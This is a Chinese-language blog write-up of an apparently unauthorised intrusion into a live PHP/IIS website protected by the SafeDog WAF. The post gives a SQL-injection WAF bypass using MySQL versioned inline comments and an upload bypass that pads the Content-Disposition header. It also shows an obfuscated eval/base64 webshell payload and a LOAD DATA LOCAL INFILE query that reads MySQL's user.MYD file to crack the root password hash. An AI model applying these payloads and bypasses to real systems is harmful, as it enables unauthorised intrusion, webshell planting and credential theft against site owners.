0x01:前言

偶然又得到一个站,记录一下渗透过程

0x02:信息收集

正常显示页面,这里我们可以得到的信息有:

1、网站是php的,显而易见。

2、web服务器为IIS7.5,平台为windows,如下。

随便输入fuzz一下,加个单引号

报错了,而且还将单引号转义了,可能存在注入

继续测试注入类型:

payload:' and 'a' = 'a

熟悉的界面

那么现在我们可以确认的是:

1、单引号被转义了,经过测试后双引号和反斜杠也被转义了,但是空格未被转义,猜测后端代码使用了 mysql_real_escape_string() 函数对id参数进行过滤

2、网站使用了安全狗,版本尚未明确

0x03:绕过安全狗

网上多数绕过安全狗的方法有%0a绕过空格过滤,但是经过测试空格未作waf,所以不考虑

安全狗对于关键字过滤的十分严格,大小写、双写、符号都无法绕过

那继续尝试内联包裹关键字绕过

很不幸也被ban了

想到以前大佬有50001这种操作,那继续payload:order/*!50001*/by/*!50001*/ 16

很不幸又被ban了,看来安全狗版本挺新的。

参考内联50001的原理,我们可以使用其他字符对其进行扰乱。

这里提一下内联注释:

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!…*/中, 这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。 /*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行,这个数代表版本数,所以狗不能拦截,这个数字如果被拦截,可以使用burp跑一下,找到可以替换的版本号。

比如/*!80000aaa*/

成功绕过了安全狗

0x04:注入

接下来查询列数:

遍历可回显位置

可见 3和7是可回显的位置

查看当前用户,当前数据库:

继续注入所有数据库名

很高兴的是安全狗只waf掉了select 所以我也不用打那么多的 /*!80000aaa*/

既然只有两个数据库那就好说了

接下来梭哈即可

查表

查字段

查数据

md5跑一跑看看能不能出来

不得不说 https://www.somd5.com/ 很给力!

0x05:获得webshell

得到了后台账号密码后,尝试寻找后台路径,上御剑


算了吧,看看网站也没有什么可以信息泄露的

结果找到了这个,既然知道了cms,不妨Google一波

但是很遗憾Google没找着相关信息,但是在百度找到了利用点

不知道这算啥...

于是进去看看

试一试这个路径

好吧,真的进来了

看看有什么上传点,找到一处上传点

尝试直接上传php,失败;上传txt,也失败;00截断,也失败,尝试了各种姿势后,无果...

后来怎么绕过的呢,由于安全狗对于http头字段: Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:

所以这里对该字段进行溢出,成功上传php文件。

但是,安全狗依然会对上传的内容进行过滤,杀了我n多小马,

终于用压箱底绕过了安全狗的疯咬。

上菜刀

秒挂,忽然想起来安全狗会对菜刀的流量进行waf。

既然被waf,那我就继续绕

众所周知,菜刀的流量是固定格式的,即: x=@eval(base64_decode($_POST[123]));&123=ZWNobyhgY2F0IC9mbGFnLnR4dGApOw==

那么狗有可能通过正则过滤了菜刀的关键语句,可能是eval函数,那改成assert试一试,但是不回显数据了,看来还是得用eval,后来下载了个安全狗试了试才知道安全狗过滤掉的是@eval(base64_decode($_POST[123]));

那变异一下关键字就行了,将@eval(base64_decode($_POST[123]));base64编码,然后再解一次base64,即:x=@eval(base64_decode(QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbMTIzXSkpOw));&123=ZWNobyhgd2hvYW1pYCk7

但是,成功是成功了,本地确实复现了,但是这服务器依然不回显数据。尝试试用本地php中转菜刀流量,依然以失败告终。。。

(后来某次实验忽然想起这个问题,后来发现echo(`ls`) 只适用于linux系统。所以没回显,第二种可能则是部分函数被禁用)

看来小马行不通了。那既然小马不行,上传大马试一试

正好前几天从tools混了一个大佬的大马,直接修改post数据上传,成功!

访问http://www.xxxxxx.cn/product/images/1563181161.php

扫描一下端口:

3389被关了,mysql没爆出密码,尝试反弹shell

nc可以弹回来,但是无法执行命令

在代码里翻了一会儿找到了mysql配置文件

连接成功

由于当前账号权限非root,所以想到读取myd文件破解哈希试一试

使用远程连接mysql工具连接,创建空表test1,数据大小最好大点,我设置的30000。

由于不知道数据库myd文件的具体物理路径,首先查看mysql的目录和版本:
select @@basedir;

select version();

不出意外的话该服务器安装mysql是默认安装的,那么user.myd文件就很有可能在 C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/ 目录下。

所以使用语句:

LOAD DATA LOCAL INFILE 'C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.myd' INTO TABLE test1 fields terminated by '' LINES TERMINATED BY '\0';

成功获得root哈希

整理后筛出前32位,使用somd5解密

得到密码:root

但是root账号被限制了远程登录,也就是说目前无法使用udf提权。。。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注